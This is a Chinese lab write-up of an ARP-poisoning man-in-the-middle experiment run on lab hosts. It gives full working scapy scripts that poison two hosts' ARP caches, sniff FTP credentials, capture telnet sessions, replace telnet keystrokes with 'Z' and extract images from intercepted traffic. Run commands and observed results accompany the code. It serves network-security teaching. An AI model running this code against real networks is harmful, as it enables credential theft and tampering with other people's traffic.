MITM攻击之ARP毒化

实验目的

image-20200325211150567

实验过程

运行python代码,演示MITM攻击现象

python代码

代码由两部分组成,一个是ArpPoison.py模块文件,便于调用和自定义攻击对象。另一个一个是newMitM.py对象文件。

ArpPoison.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from scapy.all import *
import sys
import os
import time
__author__ = 'Asymptotic_freedom'


class ArpPoison(object):
'''
这是一个实现ARP毒化的类
'''
def __init__(self, interface, victimIP1, victimIP2, interval=1.5):
self.__interface = interface # 网络接口
self.__victimIP1 = victimIP1 #靶机IP1
self.__victimIP2 = victimIP2 #靶机IP2
self.__interval = interval #ARP包发送间隔
self.__victimMAC1 = "ff:ff:ff:ff:ff:ff"
self.__victimMAC2 = "ff:ff:ff:ff:ff:ff"

@staticmethod
def getMAC(interface, IP):
'''
srp(发送+接收2层报文),返回结果是两个元组。
ARP.op 取值为1或者2,代表ARP请求或者响应包,默认为1。
向外广播ARP请求IP地址对应的MAC,超时等待为2s,
接口为self.__interface,时间间隔为0.1s。
'''
conf.verb = 0 #关闭输出
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=IP),
timeout=2,
iface=interface,
inter=0.1)
for snd, rcv in ans:
return rcv.sprintf(r"%Ether.src%")

def __spoof(self):
'''
进行ARP欺骗,对两个靶机分别发送伪造arp报文
MAC地址重定向为该主机
'''
send(
ARP(op=2,
pdst=self.__victimIP1,
psrc=self.__victimIP2,
hwdst=self.__victimMAC1))
send(
ARP(op=2,
pdst=self.__victimIP2,
psrc=self.__victimIP1,
hwdst=self.__victimMAC2))

def __resARP(self):
'''
为了避免停止arp毒化后暴露本机MAC地址
恢复两个靶机的ARP表
'''
print("\n[*] 恢复对象机网络状态...")
self.__victimMAC1 = self.getMAC(self.__interface, self.__victimIP1)
self.__victimMAC2 = self.getMAC(self.__interface, self.__victimIP2)
send(ARP(op=2,
pdst=self.__victimIP2,
psrc=self.__victimIP1,
hwdst="ff:ff:ff:ff:ff:ff",
hwsrc=self.__victimMAC1),
count=8)
send(ARP(op=2,
pdst=self.__victimIP1,
psrc=self.__victimIP2,
hwdst="ff:ff:ff:ff:ff:ff",
hwsrc=self.__victimMAC2),
count=8)
print("[*] 禁用该主机进行IP转发...")
os.system("sudo echo 0 > /proc/sys/net/ipv4/ip_forward")
print("\n[*] Exiting...")
sys.exit(1)

def start(self):
'''启动arp毒化进程'''
print("\n[*] 允许该主机进行IP包转发...")
#sudo sysctl net.ipv4.ip_forward=1
os.system("sudo echo 1 > /proc/sys/net/ipv4/ip_forward")

try:
self.__victimMAC1 = self.getMAC(self.__interface, self.__victimIP1)
except:
os.system("sudo echo 0 > /proc/sys/net/ipv4/ip_forward")
print("\n[!] 找不到%s的地址"%(self.__victimIP1))
print("[!] Exiting...")
sys.exit(1)
try:
self.__victimMAC2 = self.getMAC(self.__interface, self.__victimIP2)
except Exception:
#sudo sysctl net.ipv4.ip_forward=0
os.system("sudo echo 0 > /proc/sys/net/ipv4/ip_forward")
print("\n[!] 找不到%s的地址"%(self.__victimIP2))
print("[!] Exiting...")

while True:
try:
self.__spoof()
time.sleep(self.__interval)
except KeyboardInterrupt:
self.__resARP()
break

newMitM.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from arpPoison import ArpPoison
import threading
from threading import Thread
import netifaces
from scapy.all import *
import re

__author__ = 'Asymptotic_freedom'

clientIP = None
serverIP = None
isCnted = False
clientMAC = None
serverMAC = None
localMAC = None
re_jpg = b'\xff\xd8\xff[\s\S]*\xff\xd9'
re_png = b'\x89\x50\x4e\x47[\s\S]*\xae\x42\x60\x82'


def exploit():
try:
sniff(filter='tcp port 21', prn=ftpSniff)
#sniff(filter='tcp port 23',prn=telnetSniff)
#os.system("sudo sysctl net.ipv4.ip_forward=0")
#sniff(filter='tcp port 23',prn=telnetReplace)
#sniff(filter='tcp', prn=imageSniff)
except KeyboardInterrupt:
exit(0)


def ftpSniff(pkt):
'''嗅探FTP用户密码'''
dest = pkt[IP].dst
raw = str(pkt[TCP].payload)
user = re.findall('(?i)USER (.*)', raw)
pswd = re.findall('(?i)PASS (.*)', raw)
if user:
print('[*] Detected FTP Login to ' + str(dest))
print('[+] User account: ' + str(user[0]))
elif pswd:
print('[+] Password: ' + str(pswd[0]))


def telnetSniff(pkt):
'''嗅探telnet密码(主要是显示对话信息)'''
global isCnted
src = pkt[IP].src
raw = str(pkt[TCP].payload)
#raw=re.sub(u"([^\u4e00-\u9fa5\u0030-\u0039\u0041-\u005a\u0061-\u007a])","",raw)
if not len(raw):
return
if src == clientIP:
for i in range(1, len(raw) + 1):
print(raw[i - 1], end='')
if i % 48 == 0:
print()
print()
else:
if 'Welcome' in raw:
isCnted = True
if isCnted:
print(38 * '-' + "Establish connection" + 38 * '-')
isCnted = False
print(48 * ' ', end='')
for i in range(1, len(raw) + 1):
print(raw[i - 1], end='')
if i % 48 == 0:
print()
print(48 * ' ', end='')
print()
if 'logout' in raw:
print(37 * '-' + "Connection interrupted" + 37 * '-')
isCnted = False


def telnetReplace(pkt):
'''telnet替换内容为字母Z'''
global clientIP, serverIP, isCnted, interface, clientMAC, serverMAC, localMAC
esrc = pkt[Ether].src
ipsrc = pkt[IP].src
ipdst = pkt[IP].dst
raw = str(pkt[TCP].payload)
if esrc == clientMAC and ipsrc == clientIP and ipdst == serverIP:
print("Original Packet. ")
print("Source IP : ", pkt[IP].src)
print("Destination IP :", pkt[IP].dst)

a = IP(src=clientIP, dst=serverIP)
b = TCP(sport=pkt[IP].sport, dport=pkt[IP].dport)
pkt[TCP].payload = 'Z'
data = 'Z'
newpkt = a / b / data
del newpkt[IP].chksum
del newpkt[TCP].chksum
del newpkt[IP].len
print(newpkt)
print("Spoofed Packet. ")
print("Source IP : ", newpkt[IP].src)
print("Destination IP :", newpkt[IP].dst)
send(newpkt)
elif esrc == serverMAC and ipsrc == serverIP and ipdst == clientIP:
a = IP(src=serverIP, dst=clientIP)
b = TCP(sport=pkt[IP].sport, dport=pkt[IP].dport)
data = pkt[TCP].payload
newpkt = a / b / data
send(newpkt)


def imageSniff(pkt):
'''嗅探图片并保存在本地'''
global clientIP
ipsrc = pkt[IP].src
ipdst = pkt[IP].dst
if ipsrc != clientIP and ipdst != clientIP:
return
data = str.encode(str(pkt[TCP].payload))
jpgs = re.findall(re_jpg, data)
pngs = re.findall(re_png, data)
for jpg in jpgs:
now = time.time()
with open('jpg/' + str(now) + '.jpg', 'wb') as f:
f.write(jpg)
print(str(now) + '.jpg')
for png in pngs:
now = time.time()
with open('png/' + str(now) + '.png', 'wb') as f:
f.write(jpg)
print(str(now) + '.png')


def main():
global clientIP, serverIP, interface, clientMAC, serverMAC, localMAC
print("这是系统可用设备的列表:\n")
sn = 1
for interface in netifaces.interfaces():
print("%d.%-10s \033[92m%-10s \033[0m" %
(sn, interface, netifaces.ifaddresses(interface)[2][0]['addr']))
sn += 1
if not netifaces.interfaces():
print("检测不到网卡设备")
print("[*] Exiting...")
exit(1)
try:
interface = input("\n[*] 请输入要在该主机上运行ARP毒化的接口名称: ")
if interface not in netifaces.interfaces():
print("[!] 找不到该接口,请检查接口名称")
print("[*] Exiting...")
sys.exit(1)
serverIP = input("[*] 请输入serverIP: ")
clientIP = input("[*] 请输入clientIP: ")
localMAC = netifaces.ifaddresses(interface)[17][0]['addr']
serverMAC = ArpPoison.getMAC(interface, serverIP)
clientMAC = ArpPoison.getMAC(interface, clientIP)
except KeyboardInterrupt:
print("\n[*] 用户请求中断")
print("[*] Exiting...")
sys.exit(1)
#创建一个线程运行exploit()函数
th = threading.Thread(target=exploit)
th.setDaemon(True) #把当前进程设置为守护线程,主线程执行完毕,子线程均停止
th.start()
#主线程运行
mitm = ArpPoison(interface, serverIP, clientIP)
mitm.start()


if __name__ == '__main__':
main()

实验配置

  • 攻击机为Linux kali 5.3.0,IP为192.168.2.207

    初始ARP缓存表

    image-20200325222344205
  • 受害机A(客户机)为SEEDUbuntu16,IP为192.168.2.101

    初始ARP缓存表

    image-20200325222441149

  • 网关机B(服务机)为SEEDUbuntu16,IP为192.168.2.244

    初始ARP缓存表

    image-20200325222554498

  • python 3.7.6

检查ARP表变化

运行newMitM.py

作用机理是kali攻击机不断(间隔为1.5s)向外广播Arp响应数据报(op=2,其中dstMAC=“ff:ff:ff:ff:ff:ff”,达到短时间就毒化ARP的效果

1
python3  newMitM.py

image-20200325223118966

主机A(192.168.2.101)ARP表如下

image-20200325223316269

主机B(192.168.2.244)ARP变化如下

image-20200325223452300

可见A、B的对向MAC地址均指向kali攻击机

wireshark查看kali数据包

主机A数据包

image-20200325224413307

主机B数据包

image-20200325224526302

嗅探数据包

打开IP转发功能

1
os.system("sudo sysctl net.ipv4.ip_forward=1")

A Ping B:

在kali wireshark捕获ICMP数据包

image-20200325225320127

并且为其转发

A:

image-20200325225507952

B:

image-20200325225442543

MITM攻击

嗅探FTP报文密码

image-20200325225646459

将ftpSniff所在行注释去掉

A登陆B的ftp

1
2
3
ftp 192.168.2.244
seed
dess

image-20200325225907965

python程序捕捉到账号密码

image-20200325225954356

报文查看TCP流

image-20200325230323170

账号和USER在同一个报文里,密码和PASS在同一个报文里,很容易被嗅探到

嗅探telnet密码

去掉exploit()函数关于telnetSniff的注释

image-20200401101056472

主机A向B进行telenet登陆:

1
telnet 192.168.2.244

image-20200325231226279

嗅探到的数据流在屏幕上显示

image-20200325231455436

左边一列是主机A,右边一列是主机B

可以看见输入字符边输入边回显,密码则没有回显,这与FTP大不相同

查看wireshark数据流

image-20200325231805934

红色代表主机A向B发送的数据内容,蓝色则是B,各数据段分散开来。

telnet替换内容为字母Z

从上面我们可以看到telnet输入一个字符就回显该字符,尝试替换该字符

image-20200325232353403

将exploit的这两行注释去掉

image-20200401101129803

首先进行A向B的telnet连接

image-20200325232530123

然后运行python程序

其中下面的代码让kali攻击机停止转发功能

1
os.system("sudo sysctl net.ipv4.ip_forward=0")

image-20200325232813792

尝试在A中输入字符,发现无法回显

image-20200325233152784

主机B收到了内容被替换为Z的数据包

image-20200325233413549

主机A没有收到回应

image-20200325233605455

关掉程序

image-20200325233728976

A的终端界面依然无法显示任何字符,

过两三分钟后,由于A获取不到信息,重新发送了ARP报文,当获取B的正确的MAC地址,就可以正常显示字符了

image-20200325234234260

实验心得

本次实验通过进一步学习scapy编程掌握了制包、抓包、改包,实现了ARP毒化的MITM攻击。然而有点奇怪的是,在telnet替换内容为字母Z实验中,理应得到主机B回显的内容却未能得到响应,这着实令人费解。。。